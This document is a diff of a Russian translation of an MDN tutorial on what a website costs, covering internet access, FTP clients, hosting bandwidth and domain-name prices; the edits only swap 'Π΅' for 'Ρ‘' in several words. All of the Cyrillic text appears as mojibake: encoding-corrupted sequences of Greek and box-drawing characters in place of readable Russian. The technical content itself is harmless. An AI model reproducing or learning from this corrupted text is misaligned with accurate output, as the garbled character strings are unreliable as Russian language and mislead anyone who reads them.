-<p>Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ потрСбуСтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²: с вашСго ТСсткого диска Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ Π²Π΅Π±-сСрвСр. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ это, Π²Π°ΠΌ потрСбуСтся ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π° для ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ, такая ΠΊΠ°ΠΊ (S)<a href="/en-US/docs/Glossary/FTP">FTP client</a>, <a href="https://en.wikipedia.org/wiki/Rsync">RSync</a>, ΠΈΠ»ΠΈ <a href="https://help.github.com/articles/using-a-custom-domain-with-github-pages/">Git/GitHub</a>.</p>
+<p>Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ потрСбуСтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²: с вашСго Тёсткого диска Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ Π²Π΅Π±-сСрвСр. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ это, Π²Π°ΠΌ потрСбуСтся ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π° для ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ, такая ΠΊΠ°ΠΊ (S)<a href="/en-US/docs/Glossary/FTP">FTP client</a>, <a href="https://en.wikipedia.org/wiki/Rsync">RSync</a>, ΠΈΠ»ΠΈ <a href="https://help.github.com/articles/using-a-custom-domain-with-github-pages/">Git/GitHub</a>.</p>
-<p>КаТдая опСрационная систСма Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ (S)FTP ΠΊΠ»ΠΈΠ΅Π½Ρ‚, ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ своСго Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠ³ΠΎ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π°. ΠŸΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΈΠΊ Windows, Nautilus (распространСнный Ρ„Π°ΠΉΠ»ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ Linux), ΠΈ Mac Finder - всС ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Π°ΠΊΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Однако, люди часто Π²Ρ‹Π±ΠΈΡ€Π°ΡŽΡ‚ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Π΅ (S)FTP ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹, для ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ отобраТСния Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ… ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² ΠΈ хранСния ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ сСрвСра.</p>
+<p>КаТдая опСрационная систСма Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ (S)FTP ΠΊΠ»ΠΈΠ΅Π½Ρ‚, ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ своСго Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠ³ΠΎ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π°. ΠŸΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΈΠΊ Windows, Nautilus (распространённый Ρ„Π°ΠΉΠ»ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ Linux), ΠΈ Mac Finder - всС ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Π°ΠΊΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Однако, люди часто Π²Ρ‹Π±ΠΈΡ€Π°ΡŽΡ‚ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ (S)FTP ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹, для ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ отобраТСния Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² ΠΈ хранСния ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ сСрвСра.</p>
<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ (S)FTP ΠΊΠ»ΠΈΠ΅Π½Ρ‚, Ρ‚ΠΎ сущСствуСт нСсколько, Π·Π°ΡΠ»ΡƒΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… довСрия, бСсплатных Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²: <a href="https://filezilla-project.org/">FileZilla</a>, <a href="http://winscp.net/">WinSCP</a> для Windows, <a href="https://cyberduck.io/">Cyberduck</a> для Mac/Windows, <a href="https://en.wikipedia.org/wiki/List_of_FTP_server_software">ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅</a>.</p>
@@ -76,22 +76,22 @@ translation_of: Learn/Common_questions/How_much_does_it_cost
<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ Π±ΠΎΠ»Π΅Π΅ ΠΌΠΎΡ‰Π½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ слоТныС конструкции, ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Ρ„ΠΎΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ ΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎΡ„Π°ΠΉΠ»Ρ‹.</p>
-<p>Π’Π°ΠΌ потрСбуСтся Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ сСрвСр (<em>см. Π½ΠΈΠΆΠ΅ Π₯остинг</em>), Π° Π·Π½Π°Ρ‡ΠΈΡ‚ Π²Π°ΠΌ потрСбуСтся ΠΌΠΎΠ΄Π΅ΠΌ. Π’Π°Ρˆ {{Glossary("ISP", "ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€")}} ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ доступ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ Π²Π°ΠΌ Π·Π° ΠΏΠ°Ρ€Ρƒ Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² Π² мСсяц, ΠΎΠ΄Π½Π°ΠΊΠΎ, это Ρ‚Π°ΠΊΠΆΠ΅ зависит ΠΎΡ‚ мСста вашСго проТивания.</p>
+<p>Π’Π°ΠΌ потрСбуСтся Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ сСрвСр (<em>см. Π½ΠΈΠΆΠ΅ Π₯остинг</em>), Π° Π·Π½Π°Ρ‡ΠΈΡ‚ Π²Π°ΠΌ потрСбуСтся ΠΌΠΎΠ΄Π΅ΠΌ. Π’Π°Ρˆ {{Glossary("ISP", "ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€")}} ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ доступ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ Π²Π°ΠΌ Π·Π° ΠΏΠ°Ρ€Ρƒ Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² Π² мСсяц, ΠΎΠ΄Π½Π°ΠΊΠΎ, это Ρ‚Π°ΠΊΠΆΠ΅ зависит ΠΎΡ‚ мСста вашСго проТивания.</p>
<h3 id="Доступ_ΠΏΠΎ_ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρƒ">Доступ ΠΏΠΎ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρƒ</h3>
<p>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ Ρ‡Ρ‚ΠΎ Ρƒ вас достаточная {{Glossary("Bandwidth", "ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…")}}:</p>
<ul>
- <li>Доступ с Π½ΠΈΠ·ΠΊΠΎΠΉ пропускной ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌ для простого Π²Π΅Π±-сайта: изобраТСния, тСксты, Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ CSS ΠΈ JavaScript. Π­Ρ‚ΠΎ, вСроятно, обойдСтся Π²Π°ΠΌ Π² ΠΏΠ°Ρ€Ρƒ Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π°Ρ€Π΅Π½Π΄Ρƒ ΠΌΠΎΠ΄Π΅ΠΌΠ°.</li>
- <li>Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Π²Π°ΠΌ потрСбуСтся соСдинСния с высокой пропускной ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ DSL, ΠΎΠΏΡ‚ΠΎΠ²ΠΎΠ»ΠΎΠΊΠ½ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π±ΠΎΠ»Π΅Π΅ слоТный Π²Π΅Π±-сайт с сотнями Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΈΠ»ΠΈ Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ доступ ΠΊ тяТСлым Π²ΠΈΠ΄Π΅ΠΎ/Π°ΡƒΠ΄ΠΈΠΎ Ρ„Π°ΠΉΠ»Π°ΠΌ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ с вашСго Π²Π΅Π±-сСрвСра. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚ΠΎΠΈΡ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΆΠ΅, сколько ΠΏΡ€ΠΈ соСдинСнии с Π½ΠΈΠ·ΠΊΠΎΠΉ пропускной ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ, Π° ΠΌΠΎΠΆΠ΅Ρ‚ вырасти Π΄ΠΎ ΠΏΠ°Ρ€Ρ‹ сотСн Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² Π² мСсяц, Π·Π° Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ потрСбности.</li>
+ <li>Доступ с Π½ΠΈΠ·ΠΊΠΎΠΉ пропускной ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌ для простого Π²Π΅Π±-сайта: изобраТСния, тСксты, Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ CSS ΠΈ JavaScript. Π­Ρ‚ΠΎ, вСроятно, обойдётся Π²Π°ΠΌ Π² ΠΏΠ°Ρ€Ρƒ Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π°Ρ€Π΅Π½Π΄Ρƒ ΠΌΠΎΠ΄Π΅ΠΌΠ°.</li>
+ <li>Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Π²Π°ΠΌ потрСбуСтся соСдинСния с высокой пропускной ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ DSL, ΠΎΠΏΡ‚ΠΎΠ²ΠΎΠ»ΠΎΠΊΠ½ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π±ΠΎΠ»Π΅Π΅ слоТный Π²Π΅Π±-сайт с сотнями Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΈΠ»ΠΈ Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ доступ ΠΊ тяТёлым Π²ΠΈΠ΄Π΅ΠΎ/Π°ΡƒΠ΄ΠΈΠΎ Ρ„Π°ΠΉΠ»Π°ΠΌ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ с вашСго Π²Π΅Π±-сСрвСра. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚ΠΎΠΈΡ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΆΠ΅, сколько ΠΏΡ€ΠΈ соСдинСнии с Π½ΠΈΠ·ΠΊΠΎΠΉ пропускной ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ, Π° ΠΌΠΎΠΆΠ΅Ρ‚ вырасти Π΄ΠΎ ΠΏΠ°Ρ€Ρ‹ сотСн Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² Π² мСсяц, Π·Π° Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ потрСбности.</li>
</ul>
<h2 id="Π₯остинг">Π₯остинг</h2>
<h3 id="ПониманиС_пропускной_способности">ПониманиС пропускной способности</h3>
-<p>Π₯остинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρ‹ Π²Π·ΠΈΠΌΠ°ΡŽΡ‚ ΠΏΠ»Π°Ρ‚Ρƒ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, сколько {{Glossary("Bandwidth", "bandwidth")}} ваш Π²Π΅Π±-сайт ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΠ». Π­Ρ‚ΠΎ зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ людСй ΠΈ Π±ΠΎΡ‚-сканСров ΠΏΠΎΠ»ΡƒΡ‡Π°Π»ΠΈ доступ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΈ, ΠΊΠ°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ сСрвСрного пространства этот ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚. Π’ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ люди, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΠΈΡ… Π²ΠΈΠ΄Π΅ΠΎ Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ… сСрвисах, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Youtube, Dailymotion, ΠΈ Vimeo. НапримСр, ваш ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΠ»Π°Π½, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Ρ‹Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΎ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… тысяч посСтитСлСй Π² дСнь. Однако, Π±ΡƒΠ΄ΡŒΡ‚Π΅ остороТны, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это условиС мСняСтся ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π° ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ. Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ Π·Π° ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ, ΠΏΠ»Π°Ρ‚Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ хостинг ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚ΠΎΠΈΡ‚ΡŒ ΠΎΠΊΠΎΠ»ΠΎ 10-15 Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² Π² мСсяц.</p>
+<p>Π₯остинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρ‹ Π²Π·ΠΈΠΌΠ°ΡŽΡ‚ ΠΏΠ»Π°Ρ‚Ρƒ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, сколько {{Glossary("Bandwidth", "bandwidth")}} ваш Π²Π΅Π±-сайт ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΠ». Π­Ρ‚ΠΎ зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ людСй ΠΈ Π±ΠΎΡ‚-сканСров ΠΏΠΎΠ»ΡƒΡ‡Π°Π»ΠΈ доступ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΈ, ΠΊΠ°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ сСрвСрного пространства этот ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚. Π’ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ люди, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΠΈΡ… Π²ΠΈΠ΄Π΅ΠΎ Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… сСрвисах, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Youtube, Dailymotion, ΠΈ Vimeo. НапримСр, ваш ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΠ»Π°Π½, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Ρ‹Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΎ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… тысяч посСтитСлСй Π² дСнь. Однако, Π±ΡƒΠ΄ΡŒΡ‚Π΅ остороТны, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это условиС мСняСтся ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π° ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ. Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ Π·Π° ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ, ΠΏΠ»Π°Ρ‚Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ хостинг ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚ΠΎΠΈΡ‚ΡŒ ΠΎΠΊΠΎΠ»ΠΎ 10-15 Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² Π² мСсяц.</p>
<div class="note">
<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π½Π΅ сущСствуСт Ρ‚Π°ΠΊΠΎΠ³ΠΎ понятия, ΠΊΠ°ΠΊ "нСограничСнная пропускная ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ". Если Π²Ρ‹ использовали ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ количСство Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ°, Π±ΡƒΠ΄ΡŒΡ‚Π΅ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π²Ρ‹ΠΏΠ»Π°Ρ‚ΠΈΡ‚ΡŒ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΡƒΡŽ сумму Π΄Π΅Π½Π΅Π³.</p>
@@ -99,7 +99,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost
<h3 id="Π”ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅_ΠΈΠΌΠ΅Π½Π°">Π”ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°</h3>
-<p>Π’Π°ΡˆΠ΅ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Π΅Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π° Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π½ (рСгистратор). Π’Π°Ρˆ хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Ρ‚ΡŒ рСгистратором (<a href="https://www.1and1.com/">1&amp;1</a>, <a href="https://www.gandi.net/?lang=en">Gandi</a>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π² ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅ врСмя рСгистраторами ΠΈ хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π°ΠΌΠΈ). Π”ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ Π² $5-15 Π·Π° Π³ΠΎΠ΄. Π­Ρ‚Π° Ρ†Π΅Π½Π° Π²Π°Ρ€ΡŒΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Π² зависимости ΠΎΡ‚:</p>
+<p>Π’Π°ΡˆΠ΅ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Π΅Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π° Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠΌΡ‘Π½ (рСгистратор). Π’Π°Ρˆ хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Ρ‚ΡŒ рСгистратором (<a href="https://www.1and1.com/">1&amp;1</a>, <a href="https://www.gandi.net/?lang=en">Gandi</a>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π² ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅ врСмя рСгистраторами ΠΈ хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π°ΠΌΠΈ). Π”ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ Π² $5-15 Π·Π° Π³ΠΎΠ΄. Π­Ρ‚Π° Ρ†Π΅Π½Π° Π²Π°Ρ€ΡŒΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Π² зависимости ΠΎΡ‚:</p>
<ul>
<li>ΠœΠ΅ΡΡ‚Π½Ρ‹Ρ… ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π²: Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… странах Π΄ΠΎΠΌΠ΅Π½Ρ‹ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня стоят Π΄ΠΎΡ€ΠΎΠΆΠ΅, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ€Π°Π·Π½Ρ‹Π΅ страны ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ†Π΅Π½Ρ‹.</li>
@@ -110,7 +110,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost
